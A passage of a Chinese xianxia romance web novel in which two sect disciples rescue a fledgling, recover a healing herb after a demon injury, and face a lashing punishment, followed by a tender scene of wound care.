“师姐以后不要在这般‘不小心’了。”他轻哼一声,说完还不忘给她包扎,利索地打了个蝴蝶结扣。 “师弟,你这蝶扣系得是愈发娴熟了。”姜喻转移话题道。指尖灵巧地拨弄着掌心新系的蝴蝶结,笑靥明媚如初阳。 “有眼就会。”沈安之声线慵懒,语气透着不加掩饰的漫不经心,分明眼皮都未抬一下,余光看清见她笑颜依旧失神怔了怔,轻咳嗽了一声,“简单。” 姜喻想起来从前,笑着眉眼弯弯,歪头时眼波流转像只佯装几分狡黠红色小狐狸,“那之前……为何瞧了两遍?” 沈安之尾指勾了勾系带尾端,弯唇低声道:“不过是……觉得师姐甚是有意思。” 姜喻无语轻笑一声,“师姐我自然有意思。” 两人行至不远,山路拐弯处豁然开朗,耳畔是清越的溪水叮咚,一条幽碧沁凉的小溪悄然流淌。 姜喻的目光刚从溪水上收回,一声呜咽的稚嫩哀鸣便钻进她耳中。两人回首,一只绒毛蓬乱的小鸟,瑟缩在不远的树根旁,徒劳地拍打着稚嫩的翅膀。 姜喻想了想,侧眸看向一侧少年,试探地问道:“师弟那有只小鸟。窝在树上,师弟能不能帮放一下。” 沈安之眼波漫不经心地掠过树下瑟缩的幼雏,抱臂侧眸看向姜喻,“弱肉强食,天道自然。它既跌落尘埃,便是命数使然,何须强求” “可遇见你我,不也是它的命数?”姜喻突然蹲下身,绯红裙摆如花瓣般铺开在微湿的泥土上。她仰起脸,歪头笑时发间蝴蝶发簪的薄翼轻响,将那颤抖的小东西小心翼翼拢在掌心递给他,“师弟,发发善心,救上一救嘛。” 姜喻承认自己有赌的成分在里面。 沈安之蹙了蹙眉,看着少女波光潋滟的眸底倒映着他漆黑的倒影。 “救不了。”沈安之停顿语气,注意在幼鸟毛茸茸羽毛上,翅膀略微曲折一点弧度,“它……不会想我接近。” “嗯?” 沈安之是给她在解释原因? 可听起来,古怪的很。 “试试不就知道了。” 沈安之随手靠近它,不过距离它巴掌大的地方,幼鸟便开始激烈鸣叫,像是要生生嘶喊破声带似的凄厉。 姜喻着实吓了一跳,连忙捧着收回手,“它……你没事吧……” 沈安之眼底闪过一丝无措,怏然侧身环胸向外走了几步,眼皮掀了掀看了一眼她。 沈安之这是被幼鸟嫌弃了? 姜喻嘴角没压住,翘起一点,手脚并用地攀上老树虬枝,小心翼翼将那绒毛未干的雏鸟送回巢中。 头顶忽闻一声清越啼鸣,姜喻仰头定睛一瞧,眸底漾着惊喜:“回来了!” 归巢的雌鸟焦躁地盘旋数圈,终是克服了恐惧,如一道迅疾的灰影俯冲而下,尖喙直啄向姜喻的发顶和额角。 姜喻慌忙缩起脖子护住脑袋,在簌簌落叶和鸟羽扑棱声中嚷道:“别啄!我真不是想偷你崽儿!” “师姐,快跳下来。”沈安之仰头挑眉,视线紧盯着树枝桠的绯红身影。 她倒是善心大发,也不怕伤了自己。 姜喻足尖轻点,带着对沈安之全然的信任,绯红纤影如蝶,飘然跃下。吹拂她鬓发衣袂,失重感刚漫上心头,腰间便骤然一紧,一道铁箍般的臂膀拦腰牢牢圈住她。 身子撞进一个温热的怀抱,她的额角不轻不重地磕在沈安之坚实的肩头。 耳畔是沈安之骤然加快的心跳声,沉稳却急促,几乎盖过了自己一乱的呼吸。一丝微不可察、带着复杂意味的叹息逸入她耳中,快得让她疑心是错觉。 圈在她腰肢上的手臂,无声地收紧了一瞬。 “师姐,可以睁开眼了。”沈安之垂眸看向怀中人,喉结缓慢滚动。 姜喻睫羽轻颤,睁开眼,视线落在沈安之近在咫尺的下颌,“师弟,放我下来吧。” 见他纹丝未动,她扶着他肩头略撑起身,“师弟……” “听见了。”沈安之手臂线条陡然绷紧,依言将她稳稳放下,随即侧身不动声色地拉开了半步距离。 姜喻站稳理了理微乱的裙裾,目光好奇地在他身上扫过:“那些飞禽走兽,都躲着师弟走啊?” 山涧雾气未散,沈安之沉默了片刻,侧颜显得有些模糊。 “……也不全是。”他声音低沉,辨不出情绪。 姜喻若有所思地单手摩挲下颌,眼波流转时瞥见溪畔湿润的泥土丛生着一种叶片修长柔韧的碧草,眼眸倏地一亮。 “师弟,你等我一下!”姜喻话音未落,人已轻盈地小跑向溪边。 姜喻蹲下,指尖比量着草茎的长度,随身的匕首干脆利落地割下几根草茎,断口处渗出青色汁液,染上她莹白的指尖。 28、第28章 少女嘴角漾着笑意,背对沈安之指尖灵巧翻飞数下。 片刻,姜喻转过身,背着手脚步轻盈走到沈安之面前站定,轻笑道:“伸手。” 沈安之依言摊开苍白瘦削的手掌。 一只编织的略显蓬乱却生机勃勃的草编小鸟从她掌心滑落,轻轻跌入沈安之宽大的掌心,带起一丝细微的浮尘微动。 草编小鸟粘着少女尚未散去的余温,仿佛残留着掌心里的馨香。 “送你,虽然只是草编小鸟。”姜喻露出个恰到好处地笑容,默默观察沈安之的神情。 沈安之呼吸微滞,怔愣了一下,指腹无意识地摩挲着草编小鸟粗粝的翅缘,他抬眼时,唇边噙着辨不清意味的笑:“倒是小觑了师姐。”目光扫过草编小鸟歪斜的鸟喙,“手艺…着实糙了些。”指尖却略带收得紧了些。 姜喻努了努嘴,“我承认它被我做的丑了点,很难学的嘛,你要是不喜欢就还我。” “这可不行。”沈安之随意地将其按入自己衣襟内侧,贴着心口,自然而然地巧妙转移换题:“师姐也编过?是……送给谁了?” 姜喻摇头,“没有啊。我实在编的太丑。不过,这一只是我编过最好的。”看他一边似乎眼神嫌弃,一边又妥善放好,心里舒坦极了。 沈安之弯唇侧眸看了她一眼,“外表粗陋了些……倒还看得出,是只鸟的模样。” 姜喻略带拔高尾音,嗔怪挤出一丝笑:“师弟。” “嗯。”沈安之刻意停顿,“尚可吧,师弟我……并非不喜欢。” 姜喻表情缓和,咧开嘴灿烂一笑,认同他的话顺势颔首。 沈安之长睫轻颤撒下一片阴影,视线悄然落在姜喻掌心。碧草剐蹭过皮肤,偶有划痕,包扎的伤口也染上了绿色汁液,她毫不在意地往山下走。 沈安之抱臂侧眸注视着少女侧颜,她倒是一点不在意。 天光微露,曦光破云。 姜喻越走越觉得头晕目眩,她强忍着跟在沈安之身后,刚刚雾妖勒紧过的地方在衣衫下红肿而起,且如今演变又疼又痒。 沈安之察觉到异样,脚步倏然凝滞,下一瞬,一股不轻不重的力道便结结实实撞上他后背。 她“呜”地一声捂住撞得发酸的鼻子,眼角瞬间冒出泪花,只觉一阵风掠过耳畔。 姜喻怔愣地抬眸,有些眩晕地揉了揉眉心,“怎么了?” “师姐,这话该我问你。”沈安之侧眸,轻拉着她的腕骨。 姜喻刚欲抬眸,话音未落骤觉天光云影颠倒,沉重的睡意如潮水般席卷而来。 她眼前瞬间沉入黑暗,身子便不受控制地软倒向一侧。 沈安之眸底惯常的晦暗顷刻碎裂,一丝罕见的慌乱猝然掠过,快得如同错觉。眼疾手快揽着她下坠的腰肢,另一手迅疾托住她脆弱的后颈,将她整个儿揽入怀中:“师姐——” 怀中人苍白的面颊失了往日的鲜活,秀眉痛苦地微蹙。沈安之目光下移,触到她滑落衣袖下那一片刺目的红肿肌肤,瞳孔猛地一缩。 她怎么一声不吭…… 沈安之打横抱起她,灵力激荡间召出铜钱剑,化作一道凌厉的流光,撕裂暮色,朝着山下客栈的方向疾飞而去。 * 姜喻迷迷糊糊惺忪醒来时,动了动手指,发觉脖子和手腕处皆绑着白色纱布,碧绿药汁透着纱布渗出,散发淡淡的青草香气。 她眸光一转,门外响起规律的三下敲门声,沈安之熟悉的嗓音询问:“师姐,醒呢?” “嗯,我醒了。” 沈安之得到她的回应打开门走进来,手中拿着小瓷瓶,指腹摩挲着药瓶放在桌面。见她脸色依旧苍白,眼波中流转一抹幽光划过。 姜喻坐起身,沈安之已率先打开药瓶递来,难以言喻地苦涩味扑面而来,“师姐,喝了。” 剪水秾丽的眼瞳滴溜一转,她思忖一瞬笑起来:“难不成是师弟亲手调配的药?” 沈安之压下音色,嗓音沙哑,语气戏谑中带着一丝认真:“嗯,师姐品鉴一二我亲手配置的‘毒药’。” 姜喻无语一瞬,凑近细闻一下,除了难闻,并没什么问题。她捏着鼻子下口,苦的她吧咂了两下,嗫嚅道:“好苦了。它做毒药不太行,毒药一般不都无色无味能成大杀器。” 沈安之本以为她面露惊恐,师姐胆子本该一如既往的小。不料她却轻松说着,毫无惧意。 想到此处,沈安之指腹摩挲着那只青玉小瓶,缓缓收回袖中。凝思着扯唇一笑,佯装认真地压低语气道:“如此看来……师姐慧眼如炬,倒是不好糊弄了。下次,”他眸光微闪,笑意更深,“师弟定寻一瓶真正的毒药送你。” 姜喻干笑两声,声音带着刚清醒的微哑,“师弟,大可不必。” 哪有人送毒药的,不愧是沈安之这朵黑莲花呀…… 沈安之转身之际,目光在她脸上停留一瞬,语气辨不出情绪:“师姐好好休息。”话音刚落便转身离去。 姜喻在他离开躺下后一直睡得不安稳,她梦见一座小亭,她伸手刚要掀开坠地的白纱便惊醒,侧耳听到不算小声的对话声。 “她在雾妖手中活下来,雾妖妖气侵袭入眼,若是不寻灵渊草,怕是入了心脉伤了根基,这对任何一位修士都是打击,沈公子早些送姜姑娘回鹤门宗才好。”宁贺辞开口道。 昨日见他将姜喻抱回来时,客栈中的蓬莱阁弟子皆惊怔不已。 “师姐我自会照顾周全,不容旁人担心。”沈安之抱臂侧眸,轻慢一笑,扫了他一眼,“倒是宁公子,对师姐倒是格外上心。” 姜喻下意识屏息,起身蹑手蹑脚地走到木门口蹲下,侧耳倾听了两人对话。 她妖气入体? “而且……我不会让她有事。”沈安之说完,晦暗的眸底闪过一丝燥郁。 他为何要这般把她放在心里…… 姜喻脚蹲麻了,起身后小声地推开门,便与叹了一口气的宁贺辞打个照面。 “宁公子,你口中的人不会是我吧……”求救眼神看向沈安之,“师弟,你看看我,还有救不?” “有救。”沈安之摩挲着铜钱,眼波在两人中间一转,顿感没由来的烦闷。 沈安之未多做停留,转身离去时脚步微不可察地一顿,侧首投来一瞥,故意弯唇露出一抹纯良笑意。目光极淡,却像带着钩子,在姜喻身上轻轻刮过。 姜喻被他看得莫名,笑着挥了挥手送别。 “沈公子方才那一笑……”宁贺辞将她的细微动作收入眼底,带着几分探究的认真,“倒像只揣着爪子的猫儿,叫人捉摸不透。” “倒也不全是,”姜喻唇角弯起一个清浅的弧度,抬眸轻笑道,“师弟他……偶尔有意外体贴的时候。” 宁贺辞听她为沈安之说话,喉间莫名梗了一下,一丝说不清的滋味漫上来。片刻轻笑一下:“姜姑娘,刚收到传讯,今早蓬莱阁的弟子已悉数抵达。说来也巧,鹤门宗的仙鹤云船也是今日抵达。” 姜喻想到顾疏雨他们莞尔一笑:“多谢宁公子告知,他们在哪下船,我好去接应他们。” “算上时间,应是在往客栈赶来了,姜姑娘要不随我一同。” “好啊,待我收拾一下。” 重回厢房,姜喻缓吐出一口浊气,待梳理好衣着确认无误才和他一同下楼。 * 鹤门宗的仙鹤云船停在天乩城外,一行人隐蔽身形进入天乩城内。 城内死气沉沉,出城人多,进城人少。 顾疏雨持剑缓步进入客栈,身后是鹤门宗其他各院落的弟子们,以及随行的方微云。 姜喻津津有味得喝着南瓜粥,见到那一抹熟悉的蓝色倩影,笑盈盈地挥了挥手。 顾疏雨见她安然无恙,悬在心头的大石头总算落地,清丽绝色的面容也变得柔和,在她一侧坐下。 姜喻笑道:“师姐,方师兄,你们总算来了。” “蓬莱阁传讯说你们昨日上山了?”顾疏雨语气略带一丝严肃。 姜喻唇瓣轻轻一抿,知道瞒不过去,索性不再挣扎,只捻着衣角讲述与诸葛瑾的事情,但不慎伤了眼的事三言两语带过。 只“妖气入眼”四字入耳,顾疏雨清丽面容便骤然凝了霜。她指尖微凉,不由分说便扣住姜喻腕脉,凝神细探。 果真有过阴寒妖气盘桓于眼底经络,幸而此刻已凝滞不前,消解大半。 姜喻唇边扯出个安抚的笑:“真没事儿了师姐,你看,我还活蹦乱跳的。” 方微云轻摇晃着白扇,投来一抹羡慕的眸光,“你家师姐担忧牵挂心细你们两人,提早出关赶来了。” 顾疏雨悄然握紧手中的剑鞘,担忧地抿了抿唇,薄唇轻启:“师弟,人去哪了?” 姜喻摇头:“我不知道。” 顾疏雨微皱秀眉,“早知如此,便不该同意让师弟独自一人带你下山。” 姜喻第一次瞧见顾疏雨动怒,暗叹一声不好。连忙凑近几分,依赖又撒娇似的轻摇了摇她的皓腕,“师弟随我下山是我的主意,师姐莫要因此动气。” 几日不见,姜喻性子转变的温和些许,若是以往早是气势汹汹,撒娇耍赖也要回宗门去。 顾疏雨诧异地左右多看了姜喻两眼,企图在她脸上看出异样:“明日你便出天乩城,乘鹤回宗门,宗门内正存有一灵渊草。” “不行,师姐。”姜喻认真道,“我是鹤门宗一员,主动请缨前来,怎可以阵前打退堂鼓。何况……师弟说,绝对不会让我死在这里的。” “他去哪寻,简直胡闹。” 方微云赶紧执起玉壶,为顾疏雨斟了一杯氤氲着热气的灵茶,“姜师妹有所不知,那灵渊草生在蜂妖巢穴深处。蜂妖道行虽浅,却动辄倾巢而出,毒刺如雨,凶险异常。” 第29章【VIP】 第29章 “什么?!”姜喻捧着温热的茶杯手一颤,捏紧茶杯放在桌面。 姜喻绝对想不到沈安之会为了她闯这般凶险的地方,她皱起秀眉,攥紧拳头。 “这么困难,他一个人去那么危险的地方。不行,我得去找他……”姜喻有些焦急想要起身。 不禁想起她仅剩一次回溯机会,若是沈安之出事更不好了…… 方微云轻摇白扇,扇柄按住她起身的动作,温润嗓音带着安抚:“姜师妹,稍安勿躁。你想想,你又能去何处寻他。他一字未说便是打定主意一个人去一个人回。” 姜喻指节捏得青白,看向他思考后道,“可以传讯,可以追踪,我法宝很多的。” 顾疏雨甚是感到沈安之此举不妥当,可念及正是自己放任师弟带姜喻去了天乩城,又是沈安之鲁莽才惹出这场祸事,终是按耐住冷静下来。 轻声安抚道:“今夜,师妹随我同宿一屋,至于沈师弟,素来有分寸。” 姜喻没想到顾疏雨竟未同意,“好吧,师姐。” 当夜姜喻和顾疏雨宿在一间厢房,店小二给她搬了间软榻在屋内,姜喻侧躺睡在床上,小声地翻来覆去睡不着。 她如今也算感觉到妖气入体是何种滋味,仅闭上眼,眼前好似白光隐约浮动闪烁掠过。像无数只灵巧的虫子在眼前钻来钻去,亮的她根本睡不着。 房间只有两道细微呼吸,姜喻提起裙裾小心下床,蹑手蹑脚地寻到隔壁沈安之厢房外。 焦黑的木门斜倚在门框上,被大火烧过的木门摇摇欲坠,如守着阴阳两隔似的界碑似的。 昨日姜喻为掌柜解释了原委,此刻房间内保留着原样。 满地灰烬,无处落脚。 姜喻视线往里探了探,正中央似乎……沈安之倒在地上。 姜喻瞳孔一颤。 沈安之身下残存的法阵熄灭掉了残存的一丝余烬。 听到门外响动,沈安之半坐起身,抬起手背随意轻擦嘴角残留的血渍,听到厢房外响动歪头地投来锐利的视线,眼底还带着杀意未消的阴鸷。 见到是一抹绯红裙摆和那道晃眼的妍丽眸子,他怔愣了一瞬,敛眸弯唇笑得意味不明。 “师姐来做什么。” 委地的玄色衣摆随手理了理,遮住残存的阵法余光。玄色衣袍又破了几处,胳膊和小腿洇出暗红色水渍。 “你回来了……”姜喻激动地抬眸看去,脚步蓦地一顿,沈安之起身静立阴影中,浓稠的阴影仿佛浸透了他眼底的深潭,只一眼,便让她产生血液凝固的错觉。 沈安之不知倒底为何在意她,攥紧拳头,直到铜钱印在掌心一疼。 她有一瞬懵,沈安之怎么这般看自己…… “师弟……” “省的我去寻你。” 沈安之刻意压下声音,起身一步步靠近,目光流连在她神情一瞬,周身带着血腥味和香甜味,试探性地前倾靠近她,眼底晦暗消减些许。 “师姐,可得一滴不剩的吃尽。” 抬起姜喻的腕骨,在她掌心放下一株带着湿润泥土的七叶碧草。长的毫不起眼的样子,身上散发出浓郁至纯的灵气。 “拿着。”沈安之忍不住垂眸看了她一眼,垂落的眼睫在苍白面容上投下小片阴翳,他猛地错身,只余下急促的脚步声。 姜喻被这阵风带起的碎发挠得脸颊微痒,茫然眨了眨眼。 平日,沈安之轻盈的像只猫一样没有脚步声的人,身后却是一轻一重脚步略带几分急切。 看来伤的不轻。 姜喻如梦初醒回眸看去,沈安之已经消失在门外,“走得倒是挺快……” 带着灵渊草回厢房,她盯着完好无损药材若有所思。思索着近日种种扬起唇角,心中早有个大胆的想法,攻略似乎成果初显了。 “师妹……”顾疏雨盘腿坐于软榻,脱离修炼状态,起身掀开垂幔,“睡不着” “师姐我吵到你了?”姜喻放轻嗓音。 “无事。”顾疏雨目光落在她手上的灵渊草,立即猜测到出,“师弟寻到的?没想到他还真闯过了毒蜂妖巢。” 顾疏雨略带困惑和诧异地瞧了姜喻一眼,见她托腮看着灵渊草。 姜喻或许不知,但顾疏雨明白,十年相处沈安之此人……可不曾把其他人放在眼底。 总是令人有些琢磨不透。 顾疏雨欲言又止,“沈师弟……罢了,师妹,我用灵力将药草化为汁液。”她边说边用灵力将灵渊草化为汁液放入小白瓷瓶中。 姜喻接过瓷瓶,蹙着眉,屏息将那苦涩的液体一饮而尽。药汁入腹,一股精纯温热的灵气瞬间化开,暖流般驱散了四肢百骸的寒意,连微凉的指尖都渐渐回暖。 姜喻懒洋洋地舒了口气,眼底带了几分依赖,“好多了师姐。” “师妹谨记,切不可让任何人有机会伤了你。”顾疏雨语气微顿,“特别是眼睛,这般脆弱之处。” 姜喻笑盈盈地半挽着顾疏雨的胳膊,浅笑着点了点头:“知道了师姐,我一定保护好自己。” 两人体己话说完,姜喻重新平躺床榻,又是梦见那座小亭。 梦境里白雾浓得化不开。 姜喻漫无目的地走了不知多久,潺潺水声才破开迷障钻入耳中。 她循声望去,只见琉璃瓦的小亭下,如瀑水般倾泻而下的素白纱幔直垂地面,被风撩拨得起伏不定,隐隐透出其后一道慵懒斜倚的人影。 “又是这个梦……你是谁?”姜喻警惕地说道。 那人修长如玉的手指正随意转动着一只玉杯,杯沿似有若无地压上薄唇,“姜喻,你忘了吗?” 姜喻被那景象勾得心痒难耐,她可不喜欢谜题,终是耐不住性子屏住呼吸悄悄攥住纱幔一角,猛地向上一掀。 “哎呦!” 脚下不知绊到什么,她整个人往前栽去,那轻飘飘的纱幔瞬间缠了她满身。现实中姜喻翻了个身,整个人滚下床榻,四仰八叉地歪倒在地面。 从梦境醒来,姜喻摸了摸磕红的额头,没想到会被一个梦中人吸引。顾疏雨已动身下楼,她起身活动一下手脚腕,清水扑在脸上,人也清醒了几分。 对镜洗漱完,她提着裙裾慢悠悠下楼。刚转下楼梯拐角,视线扫视下去,便听得客栈厅堂里顾疏雨的声线沉冷裹着怒意,垂首静立的沈安之默默听着。 沈安之与姜喻遥遥一望,对上视线的刹那不知出于什么原因,他仿佛收敛了所有爪牙和锋芒默不作声。 姜喻捂住心口,轻抿了抿唇。 顾疏雨指尖的青瓷茶盏“嗒”一声轻磕在乌木案几上,几滴茶汤溅了出来。 “师弟,”顾疏雨声音不高,却带着山雨欲来的压迫感,“带师妹入山,是你行差踏错。若她因你之故伤了一分,莫说鹤门宗,便是风云城姜家也定会掀翻了天去。” 她顿了顿,指尖缓缓划过杯沿,语气稍缓,却依旧带着不容置疑的冷意:“念在你寻回灵渊草,尚算将功折罪。即刻自请三鞭,权作小惩。” “是,师姐。”沈安之掩起眼波里的幽深,垂眸时好一副温顺乖巧的小师弟。 抱臂侧眸看了姜喻一眼,他和她……本就云泥有别。 姜喻一听还了得,赶紧下楼:“师姐若是得罚,我也得罚。诸葛瑾算计我和师弟,此事我拖了师弟后腿。” “师弟断不会如此冒失行险,何况师妹灵力低微,何苦带着她涉险……除非——”顾疏雨抬眼,眸中惊疑翻涌,“除非他从一开始,就是在拿他自己、还有你的性命去赌!” 顾疏雨眼神不自觉地严厉,怒气从心底蔓延,声音骤然冷却几分。“若这次可免,你们前一次外出了立即去后院执行,不得有误。” “是,师姐。”沈安之喉结滚动,咽下喉间未出口的辩驳,转眸看了一眼姜喻。 姜喻张了张嘴,刚想再说些什么缓和气氛。 沈安之抱臂侧眸,唇角勾起一丝极淡、却毫无温度的弧度,声音压得又低又缓,带着一种奇异的、令人心头发紧的平静道:“师姐……还需说什么?” 他轻哼一声顿了顿,目光在她脸上掠过,擦过她肩膀时,故作纯良的笑意更深,“呵,不过……倒也是事实。” 姜喻捏紧拳头,有些来气。 沈安之这般承认让顾疏雨误会,也不为自己辩驳几句,他不是很在意顾疏雨的看法嘛…… “师妹,师弟与在你一同行动可有欺负你?”顾疏雨神情带着严肃,怀疑地眸光在眼底闪过。 “没有的事情,师姐。”姜喻连连摆手,认真道,“师弟他一路上可照顾我了。知道我害怕,许我和他同住一起……” “同住?”顾疏雨惊讶放下手中茶杯,难以置信地目光在沈安之沉静的侧脸与姜喻认真的面庞间反复游移,“和沈师弟?” “是啊。”姜喻努力表现地诚恳点头。“而且师弟身上还带着伤了,能不能不罚啊……” 沈安之微挑起眉梢,抑制目光不受控制看去,侧目瞥了眼她卖力地表演。看她如此,忽的一笑,“师姐,倒是看不得我受一点罚啊……”尾音微上扬,带来一丝戏谑。 “是啊。”姜喻承认道,说完也没觉得有什么不妥。 沈安之摩挲着铜钱的指尖一顿,指尖泛白捏紧。平生第一次被她噎了一瞬,心脏却不受控制得加快两下。 问她做什么…… “是嘛……”沈安之若有所思,嘴角上扬,指尖轻扣了扣桌面。 他黝黑的心湖有道不同寻常的声音,姜喻熟悉的声音不停咕噜咕噜地往外冒出——“喜欢”“喜欢”。 早知如此,当初便……何苦用真言术扰了心神。 姜喻妍丽的眸子眨了眨,希冀在顾疏雨能相信她。 行行行好啊,看在她卖力的份上,沈安之可不能因此随随便便黑化,记恨她啊。 “男女有别。”眼底翻涌着难以言喻的探究,顾疏雨瞥了一眼沈安之,沉默良久,终是几不可闻地轻叹一声,温声道:“先吃饭罢。” “师姐,我吃饱。”姜喻咬两口包子,食不下咽,借喝茶的功夫视线扫过在场两人神色。 沈安之默然用完早膳,径自起身向后院行去。姜喻只得垂首紧随在顾疏雨身侧,甫一踏入后院,肃杀之气便扑面而来。 数名鹤门宗弟子肃立两侧,为首一人朝着顾疏雨行礼躬身,声音在寂静的庭院里格外清晰:“师姐,刑具已准备,随时可行刑。” 顾疏雨颔首,沈安之不疾不徐地走在庭院中央,背着姜喻静立,像根青竹不屈不折。 行刑弟子面容冷硬,没有半分迟疑。 “行刑,第一鞭!”手中长鞭撕裂空气,带着刺耳的尖啸狠狠抽落,瞬间沈安之皮开肉绽。 “第二鞭!”鞭影如毒蛇猛扑,更深的一道血痕绽开,沈安之脊背猛地绷紧。 “第三鞭,行刑完毕。” 最后一记鞭落下,沉闷的响声伴随着几滴飞溅的血珠,滚落在冰冷的青砖上。 鞭风带起的那丝余音,在空旷的庭院久久低徊。 执法堂弟子三鞭下去,沈安之纹丝不动,他随意将倾泻的青丝从身侧理至脑后,披散的墨发披散遮掩了三道鞭伤。 从始至终,他未曾闷哼一声。姜喻眼尾瞬间泛红,为何无人信她……又为何,无人信他…… 沈安之转身对行刑弟子虚行一礼,表情平淡,仿佛刚挨了三鞭子的人不是他。 姜喻想,若是她挨了这三鞭下去,估计痛得连打滚的力气都没有了。 “师弟……” 沈安之步伐沉稳,路过姜喻时留意到她眼尾洇着红,却又垂眸避开他的目光。 他偏偏直勾勾地看了她一眼,见那抹绯红衣裙的少女长睫颤了颤,他心情不错地收回目光,又向姜喻身后的顾疏雨行了一礼:“师姐,三鞭已完。” “回去养伤吧。”顾疏雨颔首,众弟子让开一条路。 姜喻赶紧跟上去,“师弟,等等我。” 沈安之放慢步伐,等着跟上来小姑娘,没错过她神色中心疼和复杂。 姜喻小碎步地紧跟在一旁,试探性地问:“师弟你可还好?肯定很疼……” “疼吗?”他轻声重复地呢喃了一遍。 没有在意他疼不疼……就像没人会一遍遍在意他疼不疼。 “师姐,你总会关心我?”沈安之侧眸看了她一眼,语气一贯懒散惯了,却挟着一丝认真。 “自然,师姐关心师弟天经地义,我看你后背在流血。”姜喻拿出伤药递过去。 沈安之没有接过,环胸抱臂时歪头侧眸看向她,弯唇轻慢一笑,有意话锋一转:“师姐,你可消气了?” “消气?”姜喻疑惑地抬眸。 沈安之看她这样,估计是没记得顾疏雨所说,还是说…… 他忽地倾身向前,距离近得能看清她清澈瞳孔里映出的自己。 惯常含笑的唇角抿成一条线,声音压低了,带着一丝不易察觉的探究:“顾师姐所言并非全无道理。我这样带着你涉险,你……当真就不在乎?” “我……不可能一点都不在乎,只不过看在你救我份上,我就大人有大量,不和你一般计较了。”姜喻笑了两声。 “不计较吗……”沈安之摩挲着铜钱的动作加快,他只不过“威胁”她来寻草药之事,为何却反常莫名燥郁,忽的弯唇,“师姐真的是,宰相肚里能撑船。” 姜喻抬眸看沈安之这般神情,怎么似乎计较也不行,不计较也不行…… 果真是朵黑莲花。 姜喻不在墨迹,药瓶塞进他掌心。她掌心似有若无被轻挠了一下,顿感是错觉。 “师弟,需要抹药的话我随时都在。” 姜喻猜沈安之估计不会同意,说不定还得捉弄她一下。只怕走不到厢房里,就像之前一样把她赶出去。 姜喻暗自肯定自己的想法。 沈安之抱臂颔首,唇角勾起一抹似笑非笑的弧度:“行啊,师姐。”那声“师姐”刻意拖长了调子,带着点说不 清道不明的微妙。 姜喻抬眸一怔,惊得忘了呼吸。沈安之微微侧首,眼波流转间,那目光竟是满含情绪。 “啊?——”她惊呼未落,腕间骤然一紧。 沈安之温热的手指带着不容抗拒的力道,攥住她的手腕。 姜喻猝不及防,被他牵着差点一个踉跄,拐角阴影瞬间吞没了两人。下一刻,她已被他拉进那扇虚掩的厢房内。 只留下门轴一声短促的“吱呀”在空荡的走廊里回荡。 二楼厢房陈设较为简单干净,和他喜怒不形于色风格一样,一尘不染。空气掺着沈安之平日爱喝茶香,清新淡雅。 这几日她和顾疏雨同宿一室而知,此灵茶亦是顾疏雨喜爱之物。 沈安之轻放开她的腕骨,药瓶“嗒”一声搁放在桌面,眼神示意瞧了她一眼。 见姜喻不动,弯唇倾身看向她脸颊:“师姐,在等什么?” 姜喻傻了眼,死嘴快说些什么…… “我在想……如何解开师弟的衣衫。”姜喻干咽一口唾沫。 “解了腰带,在解开衣襟。”沈安之说的一贯轻松,“师姐,为何还不动手?” 姜喻指尖无意识地挠过微烫的脸颊,深深吸了口气。 医者眼中应该不过五段躯干,几两血肉罢了。 她强迫自己定下心神,微颤的指尖却泄露了心底的慌乱,终是探向沈安之胸前那平整的衣襟。 空气凝滞,无声地灼热起来。 沈安之静立纹丝未动,只垂下一双深不见底的墨眸。 那目光如有实质,沉沉锁住那颗正缓缓靠近、因紧张而微微晃动的脑袋。 视线随着她那支蝴蝶发簪轻颤的银翅,一点点、极有耐心地向下游移。 少女面上那份毫不掩饰的纠结与挣扎,清晰地倒映在他低垂的眼帘之中。 嗯。 此刻她这手足无措的模样,倒比预想中……有趣得多。 距离再近一点,是她长豆蔻色指甲,脸颊白嫩光滑泛着红清晰可见,纤细如葱的手微微发颤,有所迟疑得下移。 沈安之莫名起了逗趣:“师姐此番墨迹下去,师弟的血,恐怕得流干了。” 姜喻咬了咬下唇,莹白耳垂染了绯色,微阖上眼指尖轻放在腰窝位置,解开暗金蹀躞带束腰时犯了难。 被她这番动作折腾,沈安之呼吸微滞,喉结缓慢滚动,眼底压下的情绪差点泄露。 姜喻急得额头都快冒汗,抬眸面露难色:“师弟,这怎么解呀……” 沈安之挑起眉梢,前倾身形蓦地弯唇,尾指拨弄了她蝴蝶发簪的翅膀,默不动声地退后半步。 姜喻指尖落了空。 “我自己来吧。” 听到这句话姜喻狠狠松上一口气,赶忙背过身自觉走到屏风后面,提高音量道:“师弟放心,我可不会偷看的。” 姜喻身后传出稍纵即逝的笑声。 短促,爽朗。 不似沈安之平日低语冷哼时的笑,亦不是戏谑时轻慢的笑。 姜喻微凉的手心手背反复贴在脸颊给自己降温,沈安之如今是愈发喜怒无常了。 妥妥妖孽一个啊。 窸窸窣窣的布料摩擦声停止,“师姐,可以出来了。” 姜喻刚踏出屏风,目光便猝然撞见榻上景象。 沈安之袒露着劲瘦的上身,平躺在榻上。宽肩窄腰的线条流畅,此刻却被三道狰狞的新伤横亘其上,皮肉翻卷,血色刺目。 更遑论那层叠覆盖的细碎旧痕,密密麻麻,如同破碎玉器上蔓延的裂璺。 沈安之原本闭目养神,闻声,眼睫才懒懒掀起一线。狭长上挑的丹凤眸,带着一种近乎妖异的慵懒,直直锁住她,眼尾朱砂痣妖冶异常,薄唇勾起的弧度:“怕了?” 他尾音拖得绵长,带着一丝沙哑,“现在怕…也迟了。” “我、我才不怕了。”姜喻拿起桌上药瓶,坐在床沿给他抹上。 沈安之平躺着,任由姜喻将他墨发拨弄到一侧,指尖带着一股暖意轻触在背后疤痕。 这数不清的伤口,是不是曾是除妖鬼留下的…… “这些伤是怎么来的?”姜喻看得心底不是滋味,手上的动作却一点没停。 “这些伤……有些不过免受饥苦所留。”沈安之面上是晦暗不明神色,背对的姜喻并未察觉。 他话锋一转,“师姐,见过野狗争食吗?” “没有。”姜喻顿了一下,敏锐的察觉到了什么,“师弟见过?” “我不仅见过,还抢过。”沈安之低声冷笑,“结果可想而知,自然是我赢了。” 姜喻指尖微顿。 十年前,沈安之被带回鹤门宗时也不过九岁孩童。 虽这个世界孩童大多早慧,但不过九岁啊,自己在玩泥巴的年纪沈安之却遭受了这些…… “呵,师姐不会真信了吧?”沈安之侧眸正对上一双透着怜惜的清澈眼瞳,他反而一愣,指尖攥紧了床单。 “若是你骗我那更好,这样说明这件不愉快的事情从未发生过。”姜喻抿了抿唇,继续着手上抹药的动作,附加一句,“师弟,你忍忍疼。背后的疤不用担心,我看丹书写有一种祛疤痕的丹药,不论多久的陈年旧疤通通能消除干净,刚好我就有一瓶,你用上正好……” “伤痕而已。” “有总比没有强,你就当是为了感谢我这抹药之恩,吃一颗咯。”姜喻语气似是“挟恩图报”,眼底倒是不加掩藏的关心。 